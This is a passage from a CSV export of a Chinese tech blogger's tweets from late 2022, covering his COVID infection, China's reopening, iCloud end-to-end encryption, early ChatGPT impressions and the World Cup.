能，在我的blog上,,https://twitter.com/haoel/status/1603291001518379008\n965,1603282820176433153,2022-12-15 06:56:26+00:00,375,9,47,,正好在逐渐退出微信平台…… https://t.co/kh3jDIxcQq,,https://twitter.com/haoel/status/1603282820176433153\n966,1603280518958968833,2022-12-15 06:47:17+00:00,0,0,0,,@dallaslu 应该是翻译问题。,,https://twitter.com/haoel/status/1603280518958968833\n967,1603228764548534272,2022-12-15 03:21:38+00:00,1,0,1,,@near_1216 这个解决方案又不是用来解决这个事儿,,https://twitter.com/haoel/status/1603228764548534272\n968,1603228504132579328,2022-12-15 03:20:36+00:00,0,0,2,,@bonhomeo 你是问题还是质疑？,,https://twitter.com/haoel/status/1603228504132579328\n969,1603224549583392768,2022-12-15 03:04:53+00:00,1,0,1,,@AyiyoA 你是这么干的吗？,,https://twitter.com/haoel/status/1603224549583392768\n970,1603223693278121984,2022-12-15 03:01:29+00:00,489,65,35,,\"把macOS, Apple TV, iPad, iPhone全更新至iOS 16.2，打开了iCloud 高级数据保护，设置了恢复联系人，创建了恢复密钥。开始端对端加密了…… （注：我是美区ID） https://t.co/BMVaYOx74v\",,https://twitter.com/haoel/status/1603223693278121984\n971,1603062738963816449,2022-12-14 16:21:55+00:00,0,0,0,,@laiba788 @sibanliulan 是就是，不是就不是，不要把“好像”当“是”，既然搜索了，就给出链接，这样没调查清的留言还不如不留,,https://twitter.com/haoel/status/1603062738963816449\n972,1603062103115722753,2022-12-14 16:19:23+00:00,0,0,0,,@sibanliulan 是中成药，国家标注了,,https://twitter.com/haoel/status/1603062103115722753\n973,1603061735845670915,2022-12-14 16:17:55+00:00,0,0,0,,@ZCY521 你再看看 https://t.co/y0hxK8Y2ci,,https://twitter.com/haoel/status/1603061735845670915\n974,1603060561444769793,2022-12-14 16:13:15+00:00,0,0,0,,@sz_liuw 别怕。不然，向这样让害怕的事情会多到让你失去活下去的勇气,,https://twitter.com/haoel/status/1603060561444769793\n975,1602888689088352257,2022-12-14 04:50:18+00:00,17,0,0,,@ntoooop @congwangcoder 人家提醒的也是对的,,https://twitter.com/haoel/status/1602888689088352257\n976,1602873051623800832,2022-12-14 03:48:10+00:00,48,0,4,,@congwangcoder 这个视频是国内B站的啊，那句话也是转自视频的，up主都不怕，我为什么要怕,,https://twitter.com/haoel/status/1602873051623800832\n977,1602872195906097152,2022-12-14 03:44:46+00:00,474,73,41,,\"“现在的情况是，政策不仅不对不未来负责，甚至也不对过去负责，不对现有的政策做解释，这只有在人民丧失记忆的前提下，才有其合理性”\n\n马督工的新闻合订本——《连花清瘟涨上天，这次不怪以岭药业》https://t.co/ddXhf2lV5O\",\"[TextLink(text='bilibili.com/video/BV1TK411…', url='https://www.bilibili.com/video/BV1TK411r7oy/', tcourl='https://t.co/ddXhf2lV5O', indices=(94, 117))]\",https://twitter.com/haoel/status/1602872195906097152\n978,1602695461491863552,2022-12-13 16:02:29+00:00,0,0,0,,@JZennm 主要是重症吧,,https://twitter.com/haoel/status/1602695461491863552\n979,1602692948063576065,2022-12-13 15:52:30+00:00,15,2,1,,@songma 等过段时间，药生产岀来了，人们都阳过了，不需要了……,,https://twitter.com/haoel/status/1602692948063576065\n980,1602685436165754881,2022-12-13 15:22:39+00:00,0,0,0,,@337240552 那是大面积，我们一起是稀释后在额头附近擦，当然应该直接温水就可以了，为了不误导别人，我在文中重点说明一下,,https://twitter.com/haoel/status/1602685436165754881\n981,1602684754088054786,2022-12-13 15:19:56+00:00,0,0,0,,@MENGSUPERMARIO 39.8， 我感觉与是否疫苗（中国的）没关系……,,https://twitter.com/haoel/status/1602684754088054786\n982,1602684429444747271,2022-12-13 15:18:39+00:00,56,0,13,,特别说明一下，物理降温最好别用酒精，会有副作用，温水，冰块都可以。文章中已更新……,,https://twitter.com/haoel/status/1602684429444747271\n983,1602660765982289920,2022-12-13 13:44:37+00:00,0,0,0,,@Shaolin_Liu @tinyfool 是的，但是工序和材料也复杂了,,https://twitter.com/haoel/status/1602660765982289920\n984,1602638905366351872,2022-12-13 12:17:45+00:00,0,0,0,,@7djob 我没有打，我孩子和老婆都打了,,https://twitter.com/haoel/status/1602638905366351872\n985,1602629607261409280,2022-12-13 11:40:48+00:00,592,116,48,,\"发了 3.5 天的烧，现在烧退了，嗓子也很舒服了，感冒症状出来了，把我家一家三口的过程记录一下，包括一些心得，供大家做个参考，希望大家都能跨过这一关。\nhttps://t.co/cvxsq0hYL4\",\"[TextLink(text='coolshell.cn/articles/22341…', url='https://coolshell.cn/articles/22341.html', tcourl='https://t.co/cvxsq0hYL4', indices=(76, 99))]\",https://twitter.com/haoel/status/1602629607261409280\n986,1602617323663261698,2022-12-13 10:51:59+00:00,47,1,16,,@wenqiangjp 是的，看我今天收到的私信……一看就是没教养的样子 https://t.co/2ULHb0M3B8,,https://twitter.com/haoel/status/1602617323663261698\n987,1602586400171339776,2022-12-13 08:49:07+00:00,7,1,6,,\"澳门特区的药店也被抢空了：https://t.co/fDP6zhPIOU\n\n然后，特区政府准备明天给全体市民派发抗疫包，有以下三种规格。无论多大的人，都包含不知名的退烧药以及莲花清瘟，还可一起服用……\n\n一般包：\nhttps://t.co/ngGSf6NrrY\n小童包：\nhttps://t.co/v09j8OalWD\n中童包：\nhttps://t.co/UnxP4PHMGM\",\"[TextLink(text='youtu.be/h92YX5EKO8M', url='https://youtu.be/h92YX5EKO8M', tcourl='https://t.co/fDP6zhPIOU', indices=(13, 36)), TextLink(text='youtu.be/LXCJWcxdN7E', url='https://youtu.be/LXCJWcxdN7E', tcourl='https://t.co/ngGSf6NrrY', indices=(107, 130)), TextLink(text='youtu.be/YC-s-pk6cjw', url='https://youtu.be/YC-s-pk6cjw', tcourl='https://t.co/v09j8OalWD', indices=(136, 159)), TextLink(text='youtu.be/o35rmrWIZaw', url='https://youtu.be/o35rmrWIZaw', tcourl='https://t.co/UnxP4PHMGM', indices=(165, 188))]\",https://twitter.com/haoel/status/1602586400171339776\n988,1602574115977601024,2022-12-13 08:00:18+00:00,11,0,1,,@ghosTM55 是啊，关键是我付费了五年了，我都是年付，7 月份的付费，说关就关，钱也不说退，也不让我导出数据，就直接关停，相当的简单粗暴。,,https://twitter.com/haoel/status/1602574115977601024\n989,1602517054614999040,2022-12-13 04:13:33+00:00,1,0,1,,@skyfishy2012 谢谢你，邮件已发。,,https://twitter.com/haoel/status/1602517054614999040\n990,1602502399112847360,2022-12-13 03:15:19+00:00,103,3,21,,\"我司的zoom帐号一夜之间被zoom官方停用了。登录时报错：“账户已被停用。请联系支持人员。 (1,003)”，我在zoom上没有找到如何联系支持人员的方式，推上有没有zoom的朋友可以帮忙。\",,https://twitter.com/haoel/status/1602502399112847360\n991,1602309685477924864,2022-12-12 14:29:33+00:00,2,0,0,,\"@spongecaptain19 中国的中药行业也不相信中药啊😂 另外，你知道他们为啥不玩里面掺布洛芬，而是要混入对乙酰氨基酚？因为后者成本更低……😜\n\nPS：我今天早点时间转的\",,https://twitter.com/haoel/status/1602309685477924864\n992,1602306753051480064,2022-12-12 14:17:54+00:00,0,0,1,,@spongecaptain19 现在的中成药里面的全部都是“对乙酰氨基酚”啊，我不是说了吗？我买不到泰诺，所以就开始吃中成药或复方药，这类药里面的中药成分没有用啊，所以本质上还是在吃“对乙酰氨基酚”，不就是“泰诺”么？这个逻辑不难理解吧……而且这个药的确认我退烧了，我相当负责任的啊……,,https://twitter.com/haoel/status/1602306753051480064\n993,1602291440658239488,2022-12-12 13:17:03+00:00,8,0,1,,@7djob 我最新的状态更新在之前的推文下了,,https://twitter.com/haoel/status/1602291440658239488\n994,1602290491797618690,2022-12-12 13:13:17+00:00,8931,934,637,,有些人说，之前动态清零你们也骂，现在完全放开了你们也骂，你们贱不贱？！我觉得还是应该骂的，因为这些人干事从来不做准备工作，封锁时，老百姓的生活物资不准备好就开始封，开放也是一样，药品测试抗原等医疗条件不准备好，直接开放……这些人的管理水平也就这样了……有极强的一致性。,,https://twitter.com/haoel/status/1602290491797618690\n995,1602247862858809346,2022-12-12 10:23:53+00:00,69,4,16,,今天一天都没食欲，中午冲了两包感冒冲剂，下午都在出汗。刚才转发了一贴有关中成药的，于是翻看了感冒冲剂的配方，果然还是“对乙酰氨基酚”，因为买不到泰诺，误打误撞了。这两天我每天两袋这玩意，相当于吃泰诺了，哈哈。 https://t.co/H4L22UuJJ5,,https://twitter.com/haoel/status/1602247862858809346\n996,1602201931396497409,2022-12-12 07:21:22+00:00,0,0,0,,@ilaobian @disksing 哈哈😄,,https://twitter.com/haoel/status/1602201931396497409\n997,1602151969841373186,2022-12-12 04:02:50+00:00,7,0,1,,@wuyuesanren 牛逼啊,,https://twitter.com/haoel/status/1602151969841373186\n998,1602115383464366080,2022-12-12 01:37:27+00:00,83,16,18,,下面是官方说明：ChatGPT让人误以为它很牛，其实并不是，使用ChatGPT来干活是错误的……,,https://twitter.com/haoel/status/1602115383464366080\n999,1602113944071831552,2022-12-12 01:31:44+00:00,19,0,6,,@plantegg @maitian99 这域名和站名……真是没节操,,https://twitter.com/haoel/status/1602113944071831552\n1000,1601954896516784128,2022-12-11 14:59:44+00:00,6,0,2,,@erli_free 我啥也没吃，自己出了身汗，就降下来。我昨天感到手脚冰凉，所以钻到被子里，可能把体温给捂高了……,,https://twitter.com/haoel/status/1601954896516784128\n1001,1601951323670294529,2022-12-11 14:45:33+00:00,0,0,1,,@tinyfool 嗯,,https://twitter.com/haoel/status/1601951323670294529\n1002,1601948206350290944,2022-12-11 14:33:09+00:00,0,0,0,,@KeZhiJian 我每天都下楼走走，孩子也下楼玩,,https://twitter.com/haoel/status/1601948206350290944\n1003,1601944767956680704,2022-12-11 14:19:30+00:00,94,2,26,,目前我的感觉跟普通流感差不多，我今天睡了一天，出汗好几次，但体温还是降不下，还在38.2左右。现在开始咳痰，流鼻涕了……,,https://twitter.com/haoel/status/1601944767956680704\n1004,1601942016270643202,2022-12-11 14:08:33+00:00,74,2,6,,晚上有邻居给了几个出口到德国的自测抗原，测试结果果然是阳了…… https://t.co/t4f4FEGASb,,https://twitter.com/haoel/status/1601942016270643202\n1005,1601940448368791553,2022-12-11 14:02:20+00:00,1,0,0,,@PantelisRoditis Thanks. I feel not bad just like a normal flu.,,https://twitter.com/haoel/status/1601940448368791553\n1006,1601934680525131776,2022-12-11 13:39:25+00:00,1,0,1,,@hu_xiaomi 自然退了,,https://twitter.com/haoel/status/1601934680525131776\n1007,1601839298075951105,2022-12-11 07:20:24+00:00,28,0,4,,@gossip_coder 没有打过，我有点过敏体质,,https://twitter.com/haoel/status/1601839298075951105\n1008,1601838252805091328,2022-12-11 07:16:14+00:00,692,34,142,,我应该也是阳了，前天有点症状，昨天开始高烧，39.8度，嗓子微疼，今天退了点烧，38.2度，头晕，咳嗽，和鼻塞，浑身无力。我家娃是上周发烧刚刚好了，昨天我开始，今天我老婆也开始发烧了……,,https://twitter.com/haoel/status/1601838252805091328\n1009,1601519891932008448,2022-12-10 10:11:11+00:00,164,3,32,,@mranti 这观点很有问题，如果要淘汰，为什么不是先淘汰中年人呢？如果不能淘汰中年人，为什么可以淘汰年轻人？说的好像年轻人不如中年人似的，这个我并不认可……,,https://twitter.com/haoel/status/1601519891932008448\n1010,1601492822552547329,2022-12-10 08:23:37+00:00,92,19,6,,@madawei2699 不要迷信ChatGPT，ChatGPT造假也是一流的。看看我这篇文章后面的彩蛋 https://t.co/fT4pGZQl50的……,\"[TextLink(text='coolshell.cn/articles/22320…', url='https://coolshell.cn/articles/22320.html', tcourl='https://t.co/fT4pGZQl50', indices=(53, 76))]\",https://twitter.com/haoel/status/1601492822552547329\n1011,1601446883763056642,2022-12-10 05:21:05+00:00,1,0,0,,@mimicico1 你认真了,,https://twitter.com/haoel/status/1601446883763056642\n1012,1601444895121543168,2022-12-10 05:13:11+00:00,6,1,0,,@_hisriver 参看,,https://twitter.com/haoel/status/1601444895121543168\n1013,1601441809778941952,2022-12-10 05:00:55+00:00,100,2,44,,\"预测一下世界杯决赛：\n\n克罗地亚 vs 摩洛哥\",,https://twitter.com/haoel/status/1601441809778941952\n1014,1601408211931713536,2022-12-10 02:47:25+00:00,305,65,12,,这是我新写的一篇文章关于eBPF入门的文章。【注意文后的彩蛋】我以后会开一篇新的文章来更为全面而详细地说一下这个彩蛋。https://t.co/fT4pGZQl50,\"[TextLink(text='coolshell.cn/articles/22320…', url='https://coolshell.cn/articles/22320.html', tcourl='https://t.co/fT4pGZQl50', indices=(59, 82))]\",https://twitter.com/haoel/status/1601408211931713536\n1015,1601006580333322242,2022-12-09 00:11:28+00:00,1,0,0,,@CestLeMondeDeD1 @tony_zy This is the punchline actually.,,https://twitter.com/haoel/status/1601006580333322242\n1016,1601005577462640641,2022-12-09 00:07:29+00:00,0,0,0,,@DJWZ @tony_zy 这才是经典之处……,,https://twitter.com/haoel/status/1601005577462640641\n1017,1600846479035203584,2022-12-08 13:35:17+00:00,54,3,11,,@songma 嘴还挺硬…… https://t.co/ubNaTuZxS3,,https://twitter.com/haoel/status/1600846479035203584\n1018,1600843222690852865,2022-12-08 13:22:21+00:00,2256,750,36,,\"推荐两个ChatGPT的chrome插件\n1）浏览网页的时候，按 ctrl + \\ 把GPT对话框 召唤出来。https://t.co/Gf9MuMdzoP\n2）你在google的时候，同时ChatGPT https://t.co/1vRMpTxX1O https://t.co/bc2VG93ezZ\",\"[TextLink(text='github.com/iOliverNguyen/…', url='https://github.com/iOliverNguyen/chatgpt-extension', tcourl='https://t.co/Gf9MuMdzoP', indices=(55, 78)), TextLink(text='github.com/wong2/chat-gpt…', url='https://github.com/wong2/chat-gpt-google-extension', tcourl='https://t.co/1vRMpTxX1O', indices=(103, 126))]\",https://twitter.com/haoel/status/1600843222690852865\n1019,1600840017642823681,2022-12-08 13:09:37+00:00,66,5,6,,@songma 用你最不喜欢的ChatGPT来回答你的问题，嘿嘿嘿 https://t.co/NpNGkUvvJG,,https://twitter.com/haoel/status/1600840017642823681\n1020,1600756155357097985,2022-12-08 07:36:22+00:00,1,0,1,,@gunimuadz 倒数第三行：+30 和 -30,,https://twitter.com/haoel/status/1600756155357097985\n1021,1600752425442611200,2022-12-08 07:21:33+00:00,21,4,0,,附上官方文档链接：https://t.co/vu2lIF6tm7,\"[TextLink(text='support.apple.com/en-us/HT202303', url='https://support.apple.com/en-us/HT202303', tcourl='https://t.co/vu2lIF6tm7', indices=(9, 32))]\",https://twitter.com/haoel/status/1600752425442611200\n1022,1600749353064275968,2022-12-08 07:09:20+00:00,73,1,7,,当然，如果你要硬杠——恶人会通过威胁你的生命要你把数据交出来，所以，技术不重要了，有没有这样的技术都没有意义了。按这思路，是不是恶人会通过威胁生命的手段让你交出家里的钥匙，所以，你家就不用安门锁了？,,https://twitter.com/haoel/status/1600749353064275968\n1023,1600749348425412608,2022-12-08 07:09:19+00:00,47,1,4,,\"最后，如果你开启了iCloud高级保护，如果要通过 https://t.co/6bG1jE5qss 访问数据，需要给 https://t.co/6bG1jE5qss 授权临时从你的手机上获得密钥，以访问你的数据。\n\n如果苹果是严格这么做的，那么包括苹果在内的像云上贵州这样的第三方就再也看到你的数据了。我估计会在其它大公司会跟进这一做法。\",\"[TextLink(text='icloud.com', url='http://icloud.com', tcourl='https://t.co/6bG1jE5qss', indices=(26, 49)), TextLink(text='icloud.com', url='http://icloud.com', tcourl='https://t.co/6bG1jE5qss', indices=(59, 82))]\",https://twitter.com/haoel/status/1600749348425412608\n1024,1600749344357232642,2022-12-08 07:09:18+00:00,38,2,2,,一方面，因为怕你的密码被人破解，所以要求手机开启双因验证，另一方面，怕你把密码忘了，还要求开启恢复密码或是添加恢复联系人，所有的设备都要升级，一旦无法访问帐户，你设置的朋友可以帮你来恢复密钥。所以，最好是有多个可信的苹果设备，这些设备会放你的密钥，不然设备都丢了就麻烦了...,,https://twitter.com/haoel/status/1600749344357232642\n1025,1600749339642540032,2022-12-08 07:09:17+00:00,100,3,8,,可能有些人不太理解，我再多写一些。传统的数据加密的密钥是放在iCloud上的，用户获取数据的时候需要认证iCloud的使用密码，所以，数据的运营方（包括Apple和第三方如云上贵州）就能够看到你的数据，因为他们有你的密钥。新的准备在iOS 16.2发布的“iCloud高级数据保护”的密钥是放在“可信设备”上的...,,https://twitter.com/haoel/status/1600749339642540032\n1026,1600738304869031936,2022-12-08 06:25:26+00:00,503,77,56,,这段子，今日最佳……,,https://twitter.com/haoel/status/1600738304869031936\n1027,1600729584340996096,2022-12-08 05:50:47+00:00,2,0,0,,@kevinzhow 饿了,,https://twitter.com/haoel/status/1600729584340996096\n1028,1600694072884068352,2022-12-08 03:29:41+00:00,172,14,37,,查了一下北京地区下周准备上映的《阿凡达2》，上几周我还比较悲观的觉得这部电影来中国上映是个悲剧，今天看了一下电影院的预购，看来疫情放开的主要原因，是为了这部电影上映……🤪😜 https://t.co/BC8X22HcAh,,https://twitter.com/haoel/status/1600694072884068352\n1029,1600664662030237696,2022-12-08 01:32:48+00:00,79,2,5,,@lichenh4 我信苹果，但不信某gov,,https://twitter.com/haoel/status/1600664662030237696\n1030,1600662923604393984,2022-12-08 01:25:54+00:00,748,118,64,,苹果宣布iCloud将进行端到端的加密，今天美国地区从今天开始公测，年底部署完，全球部署会在2023年完成，并确认中国区也会有……,,https://twitter.com/haoel/status/1600662923604393984\n1031,1600529002909020162,2022-12-07 16:33:45+00:00,0,0,0,,@leeseon https://t.co/RxaK0e4VCE,\"[TextLink(text='coolshell.cn/articles/20845…', url='https://coolshell.cn/articles/20845.html', tcourl='https://t.co/RxaK0e4VCE', indices=(9, 32))]\",https://twitter.com/haoel/status/1600529002909020162\n1032,1600528960873385987,2022-12-07 16:33:35+00:00,1,0,0,,@vincent_178 https://t.co/RxaK0elYEE,\"[TextLink(text='coolshell.cn/articles/20845…', url='https://coolshell.cn/articles/20845.html', tcourl='https://t.co/RxaK0elYEE', indices=(13, 36))]\",https://twitter.com/haoel/status/1600528960873385987\n1033,1600412953915797505,2022-12-07 08:52:37+00:00,165,2,10,,@disksing 至少你还没有流离失所，也无身患绝症，父母安在，还没负债，心理正常，既没有轻生，也没报复社会……🤪😜,,https://twitter.com/haoel/status/1600412953915797505\n1034,1600411548010573827,2022-12-07 08:47:01+00:00,58,3,5,,@laike9m 赞啊，这就是我喜欢StackOverflow的地方！,,https://twitter.com/haoel/status/1600411548010573827\n1035,1600377560960929793,2022-12-07 06:31:58+00:00,0,0,2,,@SecondUncledao 新改的法规？,,https://twitter.com/haoel/status/1600377560960929793\n1036,1600377031417470976,2022-12-07 06:29:52+00:00,40,0,27,,收到短信让我处理罚单，结果发现既不扣分也不扣钱……处理了个寂寞…… https://t.co/hdGli7eiZp,,https://twitter.com/haoel/status/1600377031417470976\n1037,1600367416059768833,2022-12-07 05:51:40+00:00,1,0,1,,@Mad_dev 杠的不错。但是你独立思考一下吧,,https://twitter.com/haoel/status/1600367416059768833\n1038,1600367057417093120,2022-12-07 05:50:14+00:00,0,0,1,,@sun76790508 就是支付宝缴费啊……,,https://twitter.com/haoel/status/1600367057417093120\n1039,1600361818173583360,2022-12-07 05:29:25+00:00,34,0,24,,缴个手机费，才发现微信也灰色…… https://t.co/TCKRMUc2dZ,,https://twitter.com/haoel/status/1600361818173583360\n1040,1600354279549984768,2022-12-07 04:59:28+00:00,141,16,11,,Do not get me wrong。我不是说Rust 就是法拉利，Rails就是蹩脚的五菱，我是想说每个工作或是每个语言都有他有用的场景，C/C++/Rust适合写底层的东西，Java/Rails/Python适合写业务，任何技术都是Trade-off，总是有倾向和定位的，你永远不可能造出一辆即能开得快，又能拉货，还能越野的汽车……,,https://twitter.com/haoel/status/1600354279549984768\n1041,1600353198136754176,2022-12-07 04:55:10+00:00,1,0,1,,@xiaoming366 如果你对C/C++不反感，尤其是对C++不反感，Rust一定要学。否则，你会觉得Rust学习曲线很陡峭，不好用。,,https://twitter.com/haoel/status/1600353198136754176\n1042,1600328880396840960,2022-12-07 03:18:32+00:00,108,6,11,,对比法拉利，五凌面包车太爽了，一天拉的货超过法拉利一周拉的货……😜😄😂🤪,,https://twitter.com/haoel/status/1600328880396840960\n1043,1600327113433026560,2022-12-07 03:11:31+00:00,7,0,0,,@faithorg 你是怎么看出来我不习惯呢？你这种预设别人想法的聊天方式我倒是真不习惯。一会儿拉黑你。,,https://twitter.com/haoel/status/1600327113433026560\n1044,1600308364034338816,2022-12-07 01:57:00+00:00,158,14,11,,今早，家住通州的同事对面的邻居阳了，社区工作人员来了，给送了点药，说呆着别出门就行了，哪也没封……,,https://twitter.com/haoel/status/1600308364034338816\n1045,1600112804312195072,2022-12-06 12:59:55+00:00,1131,87,166,,今天去了一趟公司，北京的写字楼已不查24/48小时核酸了，只看健康码，感觉是放开的样子……但是整个写字楼基本没有人来上班，孩子依然在上网课，了解一下周边的人，有好些人感染的阳性，包括孩子班上的同学，周边药店里面的感冒药和退烧药居然卖断货了……我感觉控不住了，动态清零已无计可施了……,,https://twitter.com/haoel/status/1600112804312195072\n1046,1600016044835209216,2022-12-06 06:35:26+00:00,3,0,0,,@songma 什么时候上线踢一把,,https://twitter.com/haoel/status/1600016044835209216\n1047,1599942280915619840,2022-12-06 01:42:19+00:00,196,44,8,,玩CharGPT后再来重温一下这句话……,,https://twitter.com/haoel/status/1599942280915619840\n1048,1599754717244297216,2022-12-05 13:17:01+00:00,531,128,22,,如果不设置PIN码，你的手机丢了，把手机卡拿下来放到别的手机里，然后用的你手机重置你银行网银密码……这里有个案例各位参考：https://t.co/rTKT63IPcy,\"[TextLink(text='mp.weixin.qq.com/s/-zgtS5m_R0Bc…', url='https://mp.weixin.qq.com/s/-zgtS5m_R0BcCu_7TZeBSg', tcourl='https://t.co/rTKT63IPcy', indices=(61, 84))]\",https://twitter.com/haoel/status/1599754717244297216\n1049,1599614473844985857,2022-12-05 03:59:44+00:00,0,0,1,,@jimmychain 是的，知识库错乱了,,https://twitter.com/haoel/status/1599614473844985857\n1050,1599610549322457089,2022-12-05 03:44:08+00:00,550,92,50,,基本都看/玩过…… https://t.co/22huOUfiqN,,https://twitter.com/haoel/status/1599610549322457089\n1051,1599288438607740928,2022-12-04 06:24:11+00:00,3,0,0,,@disksing 厉害了,,https://twitter.com/haoel/status/1599288438607740928\n1052,1599286276708257792,2022-12-04 06:15:36+00:00,4,0,1,,@realyuchanns 我也不知道，是不是有版权,,https://twitter.com/haoel/status/1599286276708257792\n1053,1599285337674592256,2022-12-04 06:11:52+00:00,877,184,30,,\"以后再也不用发愁写代码了……\n #ChatGPT https://t.co/TcybWHmzqh\",,https://twitter.com/haoel/status/1599285337674592256\n1054,1598709765617565697,2022-12-02 16:04:45+00:00,1,0,1,,@cxzj 你是有多少年没看足球段子了？,,https://twitter.com/haoel/status/1598709765617565697\n1055,1598706449148182529,2022-12-02 15:51:34+00:00,35,2,8,,今年的世界杯有个和以往不一样地方，不是VAR，也不是加时过长。而是，以前后卫封堵射门的时候，都是双手放在前面捂裆，现在是双手放在后面，我看的都是裤裆里一紧，他们可真是英勇啊……,,https://twitter.com/haoel/status/1598706449148182529\n1056,1598696218972286977,2022-12-02 15:10:55+00:00,40,3,29,,https://t.co/BDcvEIigD9,,https://twitter.com/haoel/status/1598696218972286977\n1057,1598244117787865088,2022-12-01 09:14:26+00:00,55,0,10,,睡觉睡成这样也是没谁了…… https://t.co/MMVJuzli5t,,https://twitter.com/haoel/status/1598244117787865088\n1058,1598169023279116289,2022-12-01 04:16:02+00:00,0,0,0,,@mr_wha 老款，x86的，主屏买高了，风扇喜人 https://t.co/nepUG3PkA5,,https://twitter.com/haoel/status/1598169023279116289\n1059,1598167046457815042,2022-12-01 04:08:11+00:00,190,44,4,,有朋友推荐了macOS下的这个开源软件来设置HiDPI的分辨率 https://t.co/vjhFSTGWbg，试用了一下，挺不错的，推荐给大家。（P.S. 这个跟老不老没有关系，因为我娃也觉得很舒服😉）,\"[TextLink(text='github.com/waydabber/Bett…', url='https://github.com/waydabber/BetterDisplay', tcourl='https://t.co/vjhFSTGWbg', indices=(32, 55))]\",https://twitter.com/haoel/status/1598167046457815042\n1060,1598157578386956288,2022-12-01 03:30:33+00:00,0,0,3,,@dearshor 这个怎么开？,,https://twitter.com/haoel/status/1598157578386956288\n1061,1597897508780638208,2022-11-30 10:17:08+00:00,0,0,0,,@holyshi12005840 😂🤣😇,,https://twitter.com/haoel/status/1597897508780638208\n1062,1597893100873035777,2022-11-30 09:59:37+00:00,304,38,68,,这两天因为要录屏，所以，要把27吋的4K显示屏的分辨率从高分辨率调到了1920x1080，又大又清晰的字体和图片，对眼睛来说实在是太舒服了，让我深深感到，买4K的显示屏的正确使用姿势，就是应该设置在低分辨率上用…… https://t.co/BddOOih87J,,https://twitter.com/haoel/status/1597893100873035777\n1063,1597801351672537088,2022-11-30 03:55:02+00:00,30,1,5,,s/演戏/演习/g,,https://twitter.com/haoel/status/1597801351672537088\n1064,1597800775505190913,2022-11-30 03:52:45+00:00,293,4,11,,\"今天，孩子上网课，老师讲火灾逃生的案例，于是一学生直接开麦问\n学生：“为什么我们没有逃生演戏？”\n老师：“因为现在居家搞不了”\n学生：“为什么在校的时候不搞？”\n老师：“疫情比火灾演习更重要”\n学生：“那为什么不放火灾宣传片？”\n老师：“……不知道……如果想看，我帮你跟校长说一下”\n为学生点赞了！\",,https://twitter.com/haoel/status/1597800775505190913\n1065,1597766396309803008,2022-11-30 01:36:08+00:00,3,0,1,,@PantelisRoditis Nothing is impossible 😅😂,,https://twitter.com/haoel/status/1597766396309803008\n1066,1597577775577059328,2022-11-29 13:06:37+00:00,4764,586,577,,按剧情发展下去，用不了多久，每个人的手机都会装上监控软件，是操作系统级的，在手机出厂前就已经植入了，你每拍一张照片或者一个视频，包括输入的文字，都必须要接受后台审查，一旦出现违规内容，你的手机将被禁止输入输出任何文字语音图片视频一段时间，严重者将永久封禁……,,https://twitter.com/haoel/status/1597577775577059328\n1067,1597571803022753795,2022-11-29 12:42:53+00:00,4,0,0,,@87QnnnKe2AmIHAD Cloud Native 。https://t.co/FAQPmO44TN,\"[TextLink(text='MegaEase.com', url='http://MegaEase.com', tcourl='https://t.co/FAQPmO44TN', indices=(31, 54))]\",https://twitter.com/haoel/status/1597571803022753795\n1068,1597475974332837888,2022-11-29 06:22:06+00:00,139,1,7,,今年因为被封在家里，出差少了很多很多，所以，代码量也提升了一些…… https://t.co/aHADpvb8Wc,,https://twitter.com/haoel/status/1597475974332837888\n1069,1597099074552930305,2022-11-28 05:24:26+00:00,353,18,20,,@notmyChris 最讨厌这种用自己的资历来辩论的人，不用自己的专业能力指出问题所在，就说自己的经历如何如何牛逼，我感觉这种人的心理是很自卑的，需要不断地重复告诉别人自己有多牛……,,https://twitter.com/haoel/status/1597099074552930305\n1070,1597090064726532098,2022-11-28 04:48:38+00:00,0,0,1,,@winguse 玩过P S5的手柄再去玩Xbox的感觉XBox就是渣,,https://twitter.com/haoel/status/1597090064726532098\n1071,1596890692336619521,2022-11-27 15:36:24+00:00,0,0,0,,@rujd 哦，尝试一下,,https://twitter.com/haoel/status/1596890692336619521\n1072,1596868260515155970,2022-11-27 14:07:16+00:00,0,0,4,,@ivybridgeii 没有吧，各个比赛都能看得到观众的,,https://twitter.com/haoel/status/1596868260515155970\n1073,1596862744309161989,2022-11-27 13:45:21+00:00,39,1,10,,这届世界杯摄像机位太低了，看着感觉很难受，感觉空间被压缩掉了，场地很小。只有越位的时候，切到抓拍越位的机位，才感觉舒服一些……,,https://twitter.com/haoel/status/1596862744309161989\n1074,1596752157277315077,2022-11-27 06:25:55+00:00,473,39,2,,@songma 我最大的疑惑是：他们除了新冠以外，其他的疾病和因为封控所带来问题都不关心，然后却说这样做是为了民众的健康……,,https://twitter.com/haoel/status/1596752157277315077\n1075,1596427657977417730,2022-11-26 08:56:28+00:00,1817,54,78,,今日的朋友圈全是帝都人民在维权要求解封视频……,,https://twitter.com/haoel/status/1596427657977417730\n1076,1596110065236291584,2022-11-25 11:54:28+00:00,133,7,27,,周五晚高峰19:00北京东二环居然可以开到80公里……嗯，这应该是世界杯的原因…… https://t.co/LhMPI06CGz,,https://twitter.com/haoel/status/1596110065236291584\n1077,1596005605827022856,2022-11-25 04:59:23+00:00,205,9,34,,说是《阿凡达2 》12月1中旬在中国院线上映，按中国目前的情况，是不是在电影院里开个在线会议，买了票的人可以由院线拉进去，通过在线会议远程观看……,,https://twitter.com/haoel/status/1596005605827022856\n1078,1595993106649739264,2022-11-25 04:09:43+00:00,255,10,87,,小区出现了几个阳性，被封了几栋楼，小区里的两个超市也跟着被封了，而网上的卖菜的有好些显示“运力不足”，冰箱里还有两天的菜，心里有点慌……,,https://twitter.com/haoel/status/1595993106649739264\n1079,1595690520181092354,2022-11-24 08:07:21+00:00,63,5,21,,@wenqiangjp 可以看看微博评论区 https://t.co/EQA0ZlRl7p https://t.co/WiaaNfOL21,\"[TextLink(text='m.weibo.cn/1050896727/483…', url='https://m.weibo.cn/1050896727/4838493190096793', tcourl='https://t.co/EQA0ZlRl7p', indices=(22, 45))]\",https://twitter.com/haoel/status/1595690520181092354\n1080,1595604701579395073,2022-11-24 02:26:20+00:00,704,204,45,,视频中的提到的技术大佬的原文地址 😜😜 https://t.co/l8B5pqtdD2,\"[TextLink(text='twitter.com/haoel/status/1…', url='https://twitter.com/haoel/status/1572088563868782593', tcourl='https://t.co/l8B5pqtdD2', indices=(20, 43))]\",https://twitter.com/haoel/status/1595604701579395073\n1081,1595604405340213249,2022-11-24 02:25:09+00:00,259,39,18,,@9527kw 视频中的提到的技术大佬的原文地址 😜😜,,https://twitter.com/haoel/status/1595604405340213249\n1082,1595284645150871553,2022-11-23 05:14:33+00:00,200,14,19,,@cloudwu 